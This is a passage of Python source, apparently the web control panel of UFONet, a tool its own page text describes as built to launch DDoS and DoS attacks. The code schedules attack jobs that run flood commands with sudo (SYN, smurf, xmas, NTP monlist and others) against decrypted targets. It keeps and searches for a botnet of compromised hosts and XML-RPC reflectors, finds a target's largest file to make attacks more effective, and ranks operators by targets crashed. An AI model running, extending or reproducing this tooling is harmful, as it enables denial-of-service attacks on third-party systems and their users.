""" + self.pages["/footer"] def wargames_engage_routine(self, wargames_engage_list): # check jobs when gui refresh (global army supply) sep = "#-#" flag_ufosyn = None flag_spray = None flag_smurf = None flag_xmas = None flag_nuke = None flag_tachyon = None flag_monlist = None for job in wargames_engage_list: job_t2 = job.rsplit(sep, 1)[0] job_creation = job_t2.rsplit(sep, 1)[0] job_target = job_t2.rsplit(sep, 1)[1] job_estimated = job.rsplit(sep, 1)[1] self.decrypt(self.crypto_key, job_estimated) if self.decryptedtext: job_estimated_dec = self.decryptedtext else: job_estimated_dec = "" self.decryptedtext = "" now = strftime("%d-%m-%Y %H:%M:%S", gmtime()) now = strptime(now, "%d-%m-%Y %H:%M:%S") job_estimated_dec = strptime(job_estimated_dec.decode('utf-8'), "%d-%m-%Y %H:%M:%S") if (job_estimated_dec == now or job_estimated_dec < now): # engage it! (when 'now' or '<') self.decrypt(self.crypto_key, job_target) if self.decryptedtext: job_target_dec = self.decryptedtext else: job_target_dec = "" self.decryptedtext = "" if job_target_dec is not "": job_target_dec = "http://" + job_target_dec # set target prefix to http:// try: # read global army supply (json) with open(self.mothership_supplycfg_file) as data_file: data = json.load(data_file) except: print('[Info] [AI] Cannot found: "core/json/supplycfg.json" -> [Generating!]') with open(self.mothership_supplycfg_file, "w") as f: json.dump({"botnet": 1, "loic": 0, "loris": 0, "ufosyn": 0, "spray": 0, "smurf": 0, "xmas": 0, "nuke": 0, "tachyon": 0, "monlist": 0}, f, indent=4) with open(self.mothership_supplycfg_file) as data_file: data = json.load(data_file) self.supply_botnet = data["botnet"] self.supply_loic = data["loic"] self.supply_loris = data["loris"] self.supply_ufosyn = data["ufosyn"] self.supply_spray = data["spray"] self.supply_smurf = data["smurf"] self.supply_xmas = data["xmas"] self.supply_nuke = data["nuke"] self.supply_tachyon = data["tachyon"] self.supply_monlist = data["monlist"] job_estimated_dec = strftime("%d-%m-%Y %H:%M:%S", job_estimated_dec) print("[Info] [Wargames] Time is over: [" + str(job_estimated_dec) + "] -> Engaging target: " + str(job_target_dec)) cmd = "" nonroot_cmd = "python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" " root_cmd = "sudo python -i ufonet -a "+str(job_target_dec)+" -r "+str(self.supply_botnet)+" " if int(self.supply_monlist) > 0: cmd += "--monlist " +str(self.supply_monlist)+ " " flag_monlist = True if int(self.supply_tachyon) > 0: cmd += "--tachyon " +str(self.supply_tachyon)+ " " flag_tachyon = True if int(self.supply_nuke) > 0: cmd += "--nuke " +str(self.supply_nuke)+ " " flag_nuke = True if int(self.supply_xmas) > 0: cmd += "--xmas " +str(self.supply_xmas)+ " " flag_xmas = True if int(self.supply_smurf) > 0: cmd += "--smurf " +str(self.supply_smurf)+ " " flag_smurf = True if int(self.supply_spray) > 0: cmd += "--spray " +str(self.supply_spray)+ " " flag_spray = True if int(self.supply_ufosyn) > 0: cmd += "--ufosyn " +str(self.supply_ufosyn)+ " " flag_ufosyn = True if int(self.supply_loris) > 0: cmd += "--loris " +str(self.supply_loris)+ " " if int(self.supply_loic) > 0: cmd += "--loic " +str(self.supply_loic)+ " " if not flag_monlist and not flag_tachyon and not flag_nuke and not flag_xmas and not flag_smurf and not flag_spray and not flag_ufosyn: cmd = nonroot_cmd + cmd # non root required (LOIC, LORIS) if flag_ufosyn == True or flag_spray == True or flag_smurf == True or flag_xmas == True or flag_nuke == True or flag_tachyon == True or flag_monlist == True: cmd = root_cmd + cmd # root required (UFOSYN, SPRAY, SMURF, XMAS, NUKE, TACHYON, MONLIST) runcmd = cmd + " " runcmd = runcmd + "--force-yes &" # no raw_input allowed on webgui (+run it as daemon!) print("[Info] [Wargames] Running command:", runcmd, "\n") os.system(runcmd) # launch it! if "!!!" in job: # remove it from queue (unjob) f = open(self.wargames_file, "r") ls = f.readlines() f.close() f = open(self.wargames_file, "w") for l in ls: if str(l) != str(job): f.write(l) else: job = re.sub('[!!!]', '', job) f.write(job) f.close() def extract_ranking_table(self): f = open(self.grid_file,"r") # ranking data extracted from grid.txt ls = f.readlines() f.close() if not ls: # not data on grid.txt return ranking_items={} ranking_key = crypto_key nodec_text = "Anonymous" nodec_num = 0 self.ranking_grid_total = 0 try: for j in ls: if grid_msg_sep in j: self.ranking_grid_total = self.ranking_grid_total + 1 m = j.split(grid_msg_sep) ranking_nickname = m[0] # nickname self.decrypt(ranking_key, ranking_nickname) if self.decryptedtext: ranking_nickname = str(self.decryptedtext) else: ranking_nickname = nodec_text if ranking_nickname == "Anonymous": ranking_nickname = ranking_nickname + str(self.ranking_grid_total*3) # add pseudo-rand as end to evade similars self.decryptedtext = "" # clean decryptedtext buffer ranking_ranking = m[1] # ranking self.decrypt(ranking_key, ranking_ranking) if self.decryptedtext: try: ranking_ranking = int(self.decryptedtext) except: ranking_ranking = nodec_num else: ranking_ranking = nodec_num ranking_items[ranking_nickname] = ranking_ranking except: ranking_nickname = "Anonymous" ranking_ranking = 0 ranking_items[ranking_nickname] = ranking_ranking self.top_rookie = [] self.top_mercenary = [] self.top_bandit = [] self.top_ufommander = [] self.top_ufoleet = [] for k, v in ranking_items.items(): if v is 0: # not any data (or decryption allowed) on grid so discard pass if v is 1: # add this player as a rookie self.ranking_grid_rookie = self.ranking_grid_rookie + 1 self.top_rookie.append(k) elif v is 2: # add this player as a mercenary self.ranking_grid_mercenary = self.ranking_grid_mercenary + 1 self.top_mercenary.append(k) elif v is 3: # add this player as a bandit self.ranking_grid_bandit = self.ranking_grid_bandit + 1 self.top_bandit.append(k) elif v is 4: # add this player as a ufommander self.ranking_grid_ufommander = self.ranking_grid_ufommander + 1 self.top_ufommander.append(k) elif v is 5: # add this player as a ufoleet self.ranking_grid_ufoleet = self.ranking_grid_ufoleet + 1 self.top_ufoleet.append(k) else: # add this player as unknown self.ranking_grid_unknown = self.ranking_grid_unknown + 1 top5 = sorted(ranking_items, key=ranking_items.get, reverse=True)[:5] for p in top5: # extract best players if self.ranking_top5_player1 == "Anonymous": self.ranking_top5_player1 = p elif self.ranking_top5_player2 == "Anonymous": self.ranking_top5_player2 = p elif self.ranking_top5_player3 == "Anonymous": self.ranking_top5_player3 = p elif self.ranking_top5_player4 == "Anonymous": self.ranking_top5_player4 = p elif self.ranking_top5_player5 == "Anonymous": self.ranking_top5_player5 = p if self.ranking == "Rookie": shuffle(self.top_rookie) # shuffle for different results top3 = self.top_rookie[:3] elif self.ranking == "Mercenary": shuffle(self.top_mercenary) top3 = self.top_mercenary[:3] elif self.ranking == "Bandit": shuffle(self.top_bandit) top3 = self.top_bandit[:3] elif self.ranking == "UFOmmander!": shuffle(self.top_ufommander) top3 = self.top_ufommander[:3] elif self.ranking == "UFOl33t!": shuffle(self.top_ufoleet) top3 = self.top_ufoleet[:3] for p in top3: # extract similar player if self.ranking_similar_player1 == "Anonymous": self.ranking_similar_player1 = p elif self.ranking_similar_player2 == "Anonymous": self.ranking_similar_player2 = p elif self.ranking_similar_player3 == "Anonymous": self.ranking_similar_player3 = p top1 = sorted(ranking_items, key=ranking_items.get, reverse=True) shuffle(top1) # shuffle for different results top1 = random.choice(top1).strip() # extract random player self.ranking_top1_player1 = top1 def __init__(self): self.crypto_key = crypto_key # set default symmetric crypto key self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents self.board_file = 'data/board.txt' # set source path to retrieve board warning message self.grid_file = 'data/grid.txt' # set source path to retrieve grid self.board_warning = "" # set initial (str) board warning message self.wargames_file = 'data/wargames.txt' # set source path to retrieve wargames self.zombies_file = "botnet/zombies.txt" # set source path to retrieve 'zombies' self.aliens_file = "botnet/aliens.txt" # set source path to retrieve 'aliens' self.droids_file = "botnet/droids.txt" # set source path to retrieve 'droids' self.ucavs_file = "botnet/ucavs.txt" # set source path to retrieve 'ucavs' self.rpcs_file = "botnet/rpcs.txt" # set source path to retrieve 'rpcs' self.release_date_file = "docs/release.date" # set source path to retrieve release date self.news = "data/news.txt" # set source path to retrieve server news self.missions = "data/missions.txt" # set source path to retrieve server missions self.mothership_webcfg_file = 'core/json/webcfg.json' # set source for mothership webcfg self.mothership_stats_file = 'core/json/stats.json' # set source for mothership stats self.mothership_boardcfg_file = 'core/json/boardcfg.json' # set source for mothership boardcfg self.mothership_gridcfg_file = 'core/json/gridcfg.json' # set source for mothership gridcfg self.mothership_supplycfg_file = 'core/json/supplycfg.json' # set source for mothership supplyscfg self.ranking = "Rookie Star" # set starting rank self.decryptedtext = "" # set buffer for decryption self.encryptedtext = "" # set buffer for encryption self.blackholes = "data/nodes.dat" # set source path to retrieve server blackholes (nodes.dat) self.blackhole = default_blackhole # set default blackhole self.blackholes_status = "Not connected!" # set default status for blackholes self.blackholes_status_color = "red" # set default status color for blackholes self.referer = 'http://127.0.0.1/' self.mothershipname = "core/txt/shipname.txt" self.ufonet_logo_img = open("core/images/ufonet-logo.txt").read() self.favicon_img = open("core/images/favicon.txt").read() self.mothership_img = open("core/images/mothership.txt").read() self.commander_img = open("core/images/commander.txt").read() self.board_img = open("core/images/board.txt").read() self.alien1_img = open("core/images/aliens/alien1.txt").read() self.alien2_img = open("core/images/aliens/alien2.txt").read() self.alien3_img = open("core/images/aliens/alien3.txt").read() self.alien4_img = open("core/images/aliens/alien4.txt").read() self.alien5_img = open("core/images/aliens/alien5.txt").read() self.alien6_img = open("core/images/aliens/alien6.txt").read() self.alien7_img = open("core/images/aliens/alien7.txt").read() self.alien8_img = open("core/images/aliens/alien8.txt").read() self.ranking_grid_total = 0 self.ranking_grid_rookie = 0 self.ranking_grid_mercenary = 0 self.ranking_grid_bandit = 0 self.ranking_grid_ufommander = 0 self.ranking_grid_ufoleet = 0 self.ranking_grid_unknown = 0 self.ranking_top5_player1 = "Anonymous" self.ranking_top5_player2 = "Anonymous" self.ranking_top5_player3 = "Anonymous" self.ranking_top5_player4 = "Anonymous" self.ranking_top5_player5 = "Anonymous" self.ranking_similar_player1 = "Anonymous" self.ranking_similar_player2 = "Anonymous" self.ranking_similar_player3 = "Anonymous" self.ranking_top1_player1 = "Anonymous" f = open(self.mothershipname) # extract ship name self.mothership_id = f.read() self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-) f.close() f = open(self.release_date_file) # extract release creation datetime self.release_date = f.read() # adding AnonTwi (anontwi.03c8.net) cyphering -> AES256+HMAC-SHA1 self.trans_5C = ''.join([chr (x ^ 0x5c) for x in range(256)]) self.trans_36 = ''.join([chr (x ^ 0x36) for x in range(256)]) self.trans_5C = self.trans_5C.encode("latin-1") self.trans_36 = self.trans_36.encode("latin-1") f.close() f = open(self.blackholes) # double extract blackholes (nodes.dat) self.blackholes_text = f.read() f.close() f = open(self.blackholes) self.blackholes_block = f.readlines() f.close() self.list_blackholes = [] for b in self.blackholes_block: self.list_blackholes.append(b) self.blackholes_datetime = time.ctime(os.path.getctime('data/nodes.dat')) # extract nodes.dat datetime if self.blackholes_datetime == self.release_date_file: # never connected to feeds self.blackholes_status_color = "red" # set status color for blackholes to 'red' else: self.blackholes_status_color = "green" # set status color for blackholes to 'green' f = open(self.news) # double extract news self.news_text = f.read() f.close() f = open(self.news) self.news_block = f.readlines() f.close() self.list_news = [] for n in self.news_block: self.list_news.append(n) self.news_datetime = time.ctime(os.path.getctime('data/news.txt')) # extract news.txt datetime if self.news_datetime == self.release_date_file: # never connected to feeds self.news_status_color = "red" # set status color for news to 'red' else: self.news_status_color = "green" # set status color for news to 'green' f = open(self.board_file) # double extract board self.moderator_text = f.read() f.close() f = open(self.board_file) self.moderator_block = f.readlines() f.close() self.list_moderator = [] for n in self.moderator_block: self.list_moderator.append(n) f = open(self.grid_file) # double grid board self.grid_text = f.read() self.ranking_text = f.read() # ranking data is extracted from grid f.close() f = open(self.grid_file) self.grid_block = f.readlines() f.close() self.list_grid = [] for n in self.grid_block: self.list_grid.append(n) self.ranking_datetime = time.ctime(os.path.getctime('data/grid.txt')) # extract grid.txt datetime for ranking calcs if self.ranking_datetime == self.release_date_file: # never connected to feeds self.ranking_status_color = "red" # set status color for ranking to 'red' else: self.ranking_status_color = "green" # set status color for ranking to 'green' f = open(self.wargames_file) # double wargames board self.wargames_text = f.read() f.close() f = open(self.wargames_file) self.wargames_block = f.readlines() f.close() self.list_wargames = [] for n in self.wargames_block: self.list_wargames.append(n) f = open(self.missions) # double extract missions self.missions_text = f.read() f.close() f = open(self.missions) self.missions_block = f.readlines() f.close() self.list_missions = [] for m in self.missions_block: self.list_missions.append(m) self.missions_datetime = time.ctime(os.path.getctime('data/missions.txt')) # extract missions.txt datetime if self.missions_datetime == self.release_date_file: # never connected to feeds self.missions_status_color = "red" # set status color for missions to 'red' else: self.missions_status_color = "green" # set status color for missions to 'green' stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats data = json.load(stats_json_file) stats_json_file.close() self.abductor = Abductor(self) # call abductor for data size conversor self.aflying = data["flying"] self.ascanner = data["scanner"] self.atransferred = data["transferred"] self.amax_chargo = data["max_chargo"] self.amissions = data["missions"] self.acompleted = data["completed"] self.aloic = data["loic"] self.aloris = data["loris"] self.aufosyn = data["ufosyn"] self.aspray = data["spray"] self.asmurf = data["smurf"] self.axmas = data["xmas"] self.anuke = data["nuke"] self.atachyon = data["tachyon"] self.amonlist = data["monlist"] self.tcrashed = data["crashed"] if int(self.acompleted) > 0: # check for attacks completed self.mothership_acc = Decimal((int(self.tcrashed) * 100) / int(self.acompleted)) # decimal rate: crashed*100/completed else: self.mothership_acc = 100 # WarGames: "the only way to win in Nuclear War is not to play" if int(self.acompleted) < 5: # generating motherships commander ranks by rpg/experiences self.ranking = "Rookie" elif int(self.acompleted) > 4 and int(self.tcrashed) < 1: # add first ranking step on 5 complete attacks self.ranking = "Mercenary" elif int(self.tcrashed) > 0 and int(self.tcrashed) < 2: # second ranking step with almost 1 crashed self.ranking = "Bandit" elif int (self.acompleted) < 50 and int(self.tcrashed) > 4: # third ranking value is only for real "crashers" ;-) self.ranking = "UFOmmander!" elif int(self.acompleted) > 49 and int(self.tcrashed) > 4: # this people is trying to build a Global Federated Network >-) self.ranking = "UFOl33t!" f = open(self.zombies_file) self.zombies = f.readlines() self.zombies = [zombie.replace('\n', '') for zombie in self.zombies] self.list_zombies = [] for zombie in self.zombies: t = urlparse(zombie) name_zombie = t.netloc if "www." in name_zombie: name_zombie = name_zombie.replace("www.","") self.list_zombies.append(name_zombie) self.num_zombies = str(len(self.zombies)) f.close() f = open(self.aliens_file) self.aliens = f.readlines() self.aliens = [alien.replace('\n', '') for alien in self.aliens] self.list_aliens = [] for alien in self.aliens: t = urlparse(alien) name_alien = t.netloc if "www." in name_alien: name_alien = name_alien.replace("www.","") self.list_aliens.append(name_alien) self.num_aliens = str(len(self.aliens)) f.close() f = open(self.droids_file) self.droids = f.readlines() self.droids = [droid.replace('\n', '') for droid in self.droids] self.list_droids = [] for droid in self.droids: t = urlparse(droid) name_droid = t.netloc if "www." in name_droid: name_droid = name_droid.replace("www.","") self.list_droids.append(name_droid) self.num_droids = str(len(self.droids)) f.close() f = open(self.ucavs_file) self.ucavs = f.readlines() self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs] self.list_ucavs = [] for ucav in self.ucavs: t = urlparse(ucav) name_ucav = t.netloc if "www." in name_ucav: name_ucav = name_ucav.replace("www.","") self.list_ucavs.append(name_ucav) self.num_ucavs = str(len(self.ucavs)) f.close() f = open(self.rpcs_file) self.rpcs = f.readlines() self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs] self.list_rpcs = [] for rpc in self.rpcs: t = urlparse(rpc) name_rpc = t.netloc if "www." in name_rpc: name_rpc = name_rpc.replace("www.","") self.list_rpcs.append(name_rpc) self.num_rpcs = str(len(self.rpcs)) f.close() self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs)) f = open(self.wargames_file, "r") ls = f.readlines() f.close() self.supply_wargames = 0 self.wargames_engage_list = [] for l in ls: if "!!!" in l: self.wargames_engage_list.append(l) self.supply_wargames = self.supply_wargames + 1 if self.supply_wargames > 0: if self.supply_wargames == 1: c_supply = "wargame" else: c_supply = "wargames" self.current_tasks = '
-----------------------------------\n\n+ Jobs: ' + str(self.supply_wargames) + ' '+c_supply+'' self.wargames_engage_routine(self.wargames_engage_list) # threaded jobs engage routine else: self.current_tasks = "" self.options = UFONetOptions() self.pages = {} self.pages["/header"] = """ UFONet - [ C&C/DarkNet ] """ self.pages["/footer"] = """
""" self.pages["/"] = self.pages["/header"] + """







UFONet - is a toolkit designed to launch DDoS and DoS attacks.

REMEMBER -> This code is NOT for educational purposes!!



""" + self.pages["/footer"] self.pages["/gui"] = self.pages["/header"] + """
Welcome to: UFONet | FAQ - Help |

----------------------------------
""" + self.options.version + """ 
 - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """ 

 | Auto-update | Code - Mirror |

-----------------------------------

Mothership ID: """ + str(self.mothership_id) + """
 - Your ranking is: """ + str(self.ranking) + """
"""+str(self.current_tasks)+"""
""" + self.pages["/footer"] self.pages["/botnet"] = self.pages["/header"] + """
  | * View Botnet: 


* Search automatically (may take time!)
* Search using a dork:
* Search using a list (from: botnet/dorks.txt):
* Search using this search engine:
* Search using all search engines:


* Test Botnet:

Offline | ALL | Zombies | XML-RPCs | Attack Me!
Total Botnet = """+ self.total_botnet +"""

Zombies:"""+self.num_zombies+"""
Aliens:"""+self.num_aliens+"""
Droids:"""+self.num_droids+"""
UCAVs:"""+self.num_ucavs+"""
XML-RPCs:"""+self.num_rpcs+"""

""" + self.pages["/footer"] self.pages["/attack"] = self.pages["/header"] + """
  * Set your target:     

  * Set place to attack: 

  * Number of rounds:    


| Generate map! | Extra(s)
| Total Botnet = """+ self.total_botnet +"""

""" + self.pages["/footer"] self.pages["/help"] = self.pages["/header"] + """

    
   
""" + self.pages["/footer"] self.pages["/inspect"] = self.pages["/header"] + """
  This feature will provide you the biggest file on target. 
  You can use this before to attack to be more effective.

   


* Set page to crawl:

""" + self.pages["/footer"] self.pages["/ranking"] = self.pages["/header"] + """
GRADUATION/CLANS device: ON

Your ranking is: """ + str(self.ranking) + """
GRADE:RANKING:REQUIRED:
-UnknownKEY?
*Rookiemissions<4
**Mercenarymissions>4
***Banditcrashed=1
****UFOmmander!crashed>1<4
UFOl33t!???

Blackhole/IP:

Last update: """+ self.ranking_datetime + """

"""+self.ranking_text+"""
TOTAL_ON_GRID:"""+str(self.ranking_grid_total)+"""
Unknown"""+str(self.ranking_grid_unknown)+"""
Rookie"""+str(self.ranking_grid_rookie)+"""
Mercenary"""+str(self.ranking_grid_mercenary)+"""
Bandit"""+str(self.ranking_grid_bandit)+"""
UFOmmander!"""+str(self.ranking_grid_ufommander)+"""
UFOl33t!"""+str(self.ranking_grid_ufoleet)+"""
TOP_5_MOTHERSHIPS:
"""+str(self.ranking_top5_player1)+"""
"""+str(self.ranking_top5_player2)+"""
"""+str(self.ranking_top5_player3)+"""
"""+str(self.ranking_top5_player4)+"""
"""+str(self.ranking_top5_player5)+"""
RANDOM_SIMILAR:
"""+str(self.ranking_similar_player1)+"""
"""+str(self.ranking_similar_player2)+"""
"""+str(self.ranking_similar_player3)+"""
AI_SUGGESTION:
"""+str(self.ranking_top1_player1)+"""

""" + self.pages["/footer"] self.pages["/lib.js"] = """function loadXMLDoc() { var xmlhttp; if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp = new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 ) { if(xmlhttp.status == 200){ document.getElementById("cmdOut").innerHTML = xmlhttp.responseText; setTimeout("loadXMLDoc()", 3000); } } } xmlhttp.send(); } function runCommandX(cmd,params) { var xmlhttp; if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp = new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 ) { if(xmlhttp.status == 200){ if(cmd.indexOf("?")!=-1){ s=cmd.split("?") cmd=s[0] params=s[1] } document.getElementById("cmdOut").innerHTML = xmlhttp.responseText; //document.getElementById("cmdOut").scrollIntoView(); newcmd=cmd if(newcmd=="cmd_list_army"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"){ //do not refresh listing army return; } else { if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update" //do not refresh if certain text on response is found if(newcmd.match(/update/) && ( xmlhttp.responseText.match(/Generating random exit/) || xmlhttp.responseText.match(/Biggest File/) || xmlhttp.responseText.match(/Abduction finished/) || xmlhttp.responseText.match(/Not any zombie active/) || xmlhttp.responseText.match(/Target looks OFFLINE/) || xmlhttp.responseText.match(/Unable to connect to target/) || xmlhttp.responseText.match(/Something wrong/) || xmlhttp.responseText.match(/Target url not valid/) || xmlhttp.responseText.match(/updated/) || xmlhttp.responseText.match(/For HELP use:/) || xmlhttp.responseText.match(/Not any .git repository found/) || xmlhttp.responseText.match(/End of /) || xmlhttp.responseText.match(/Exiting /) || xmlhttp.responseText.match(/Bye/) ) ) return; setTimeout(function(){runCommandX(newcmd,params)}, 3000); return;} } } } if(typeof params != "undefined") cmd=cmd+"?"+params xmlhttp.open("GET", cmd, true); xmlhttp.send(); } """ self.pages["/requests"] = self.html_requests() self.pages["/board_profile"] = self.html_board_profile() self.pages["/grid_profile"] = self.html_grid_profile() def buildGetParams(self, request): params = {} try: path = re.findall("^GET ([^\s]+)", request.decode('utf-8')) except: path = re.findall("^GET ([^\s]+)", request) if path: path = path[0] start = path.find("?") if start != -1: if path[start+1:start+7] == "zombie": params['zombie']=path[start+8:] return params if path[start+1:start+7] == "target": params['target']=path[start+8:] return params for param in path[start+1:].split("&"): f = param.split("=") if len(f) == 2: var = f[0] value = f[1] value = value.replace("+", " ") value = urllib.parse.unquote(value) params[var] = value return params def save_profile(self,pGet): # set values for profile configuration from html form to json file if "profile_token" in list(pGet.keys()): profile_token = pGet["profile_token"] else: profile_token = self.profile_token if "profile_icon" in list(pGet.keys()): profile_icon = pGet["profile_icon"] else: profile_icon = self.profile_icon if "profile_nick" in list(pGet.keys()): profile_nick = pGet["profile_nick"] else: profile_nick = self.profile_nick # set new values on boardcfg json file with open(self.mothership_boardcfg_file, "w") as f: json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4) def save_grid(self,pGet): # set values for profile configuration from html form to json file if "grid_token" in list(pGet.keys()): grid_token = pGet["grid_token"] else: grid_token = self.grid_token if "grid_contact" in list(pGet.keys()): grid_contact = pGet["grid_contact"] else: grid_contact = self.grid_contact if "grid_nick" in list(pGet.keys()): grid_nick = pGet["grid_nick"] else: grid_nick = self.grid_nick # set new values on gridcfg json file with open(self.mothership_gridcfg_file, "w") as f: json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4) def save_cfg(self,pGet): # set values for requests configuration from html form to json file if "rproxy" in list(pGet.keys()): frm_rproxy = pGet["rproxy"] else: frm_rproxy = self.rproxy if "ruseragent" in list(pGet.keys()): frm_ruseragent = pGet["ruseragent"] else: frm_ruseragent = self.ruseragent if "rreferer" in list(pGet.keys()): frm_rreferer = pGet["rreferer"] else: frm_rreferer = self.rreferer if "rhost" in list(pGet.keys()): frm_rhost = pGet["rhost"] else: frm_rhost = self.rhost if "rxforw" in list(pGet.keys()): frm_rxforw = pGet["rxforw"] else: if "update" in list(pGet.keys()): frm_rxforw = "" else: frm_rxforw = self.rxforw if "rxclient" in list(pGet.keys()): frm_rxclient = pGet["rxclient"] else: if "update" in list(pGet.keys()): frm_rxclient = "" else: frm_rxclient = self.rxclient if "rtimeout" in list(pGet.keys()): frm_rtimeout = pGet["rtimeout"] else: frm_rtimeout = self.rtimeout if "rretries" in list(pGet.keys()): frm_rretries = pGet["rretries"] else: frm_rretries = self.rretries if "rdelay" in list(pGet.keys()): frm_rdelay = pGet["rdelay"] else: frm_rdelay = self.rdelay if "threads" in list(pGet.keys()): frm_threads = pGet["threads"] else: frm_threads = self.threads if "rssl" in list(pGet.keys()): frm_rssl = pGet["rssl"] else: if "update" in list(pGet.keys()): frm_rssl = "" else: frm_rssl = self.rssl # set new values on webcfg json file with open(self.mothership_webcfg_file, "w") as f: json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4) def get(self, request): # set request options of the user cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'" if self.rxforw == "on": cmd_options = cmd_options + " --xforw" if self.rxclient == "on": cmd_options = cmd_options + " --xclient" if self.rssl == "on": cmd_options = cmd_options + " --force-ssl" cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui runcmd = "" try: res = re.findall("^GET ([^\s]+)", request.decode('utf-8')) except: res = re.findall("^GET ([^\s]+)", request) if res is None or len(res)==0: return pGet = {} page = res[0] paramStart = page.find("?") if paramStart != -1: page = page[:paramStart] try: pGet = self.buildGetParams(request.decode('utf-8')) except: pGet = self.buildGetParams(request) if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"): if os.path.exists("core/"+page[1:]): try: f=open("core/"+page[1:],'r',encoding="utf-8") data = f.read() self.pages[page]=data except: f=open("core/"+page[1:],'rb') # ajax map related data = f.read() self.pages[page]=data elif page == "/js/ajax.js": from .ajaxmap import AjaxMap self.pages[page] = AjaxMap().ajax(pGet) if page == "/cmd_check_tool": self.pages["/cmd_check_tool"] = "
Waiting for updates results...
" runcmd = "(python -i ufonet --update |tee /tmp/out) &" if page == "/cmd_check_tool_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_check_tool_update"] = "
"+f.read()+"
"
        if page == "/cmd_list_army":
            self.pages["/cmd_list_army"] = "

Total Botnet = "+self.total_botnet+"

UCAVs:"+self.num_ucavs+"Aliens:"+self.num_aliens+"
Droids:"+self.num_droids+"Zombies:"+self.num_zombies+"
XML-RPCs:"+self.num_rpcs+"


UCAVs: "+self.num_ucavs+"

Last update: "+time.ctime(os.path.getctime(self.ucavs_file))+"
"+'\n'.join(self.list_ucavs)+""+'\n'.join(self.ucavs)+"

Aliens: "+self.num_aliens+"

Last update: "+time.ctime(os.path.getctime(self.aliens_file))+"
"+'\n'.join(self.list_aliens)+""+'\n'.join(self.aliens)+"

Droids: "+self.num_droids+"

Last update: "+time.ctime(os.path.getctime(self.droids_file))+"
"+'\n'.join(self.list_droids)+""+'\n'.join(self.droids)+"

Zombies: "+self.num_zombies+"

Last update: "+time.ctime(os.path.getctime(self.zombies_file))+"
"+'\n'.join(self.list_zombies)+""+'\n'.join(self.zombies)+"

XML-RPCs: "+self.num_rpcs+"

Last update: "+time.ctime(os.path.getctime(self.rpcs_file))+"
"+'\n'.join(self.list_rpcs)+""+'\n'.join(self.rpcs)+"


" if page == "/cmd_list_zombies": self.pages["/cmd_list_zombies"] = "

Total Zombies = "+self.num_zombies+"


Zombies: "+self.num_zombies+"

Last update: "+time.ctime(os.path.getctime(self.zombies_file))+"
"+'\n'.join(self.list_zombies)+""+'\n'.join(self.zombies)+"


" if page == "/cmd_list_aliens": self.pages["/cmd_list_aliens"] = "

Total Aliens = "+self.num_aliens+"


Aliens: "+self.num_aliens+"

Last update: "+time.ctime(os.path.getctime(self.aliens_file))+"
"+'\n'.join(self.list_aliens)+""+'\n'.join(self.aliens)+"


" if page == "/cmd_list_droids": self.pages["/cmd_list_droids"] = "

Total Droids = "+self.num_droids+"


Droids: "+self.num_droids+"

Last update: "+time.ctime(os.path.getctime(self.droids_file))+"
"+'\n'.join(self.list_droids)+""+'\n'.join(self.droids)+"


" if page == "/cmd_list_ucavs": self.pages["/cmd_list_ucavs"] = "

Total UCAVs = "+self.num_ucavs+"


UCAVs: "+self.num_ucavs+"

Last update: "+time.ctime(os.path.getctime(self.ucavs_file))+"
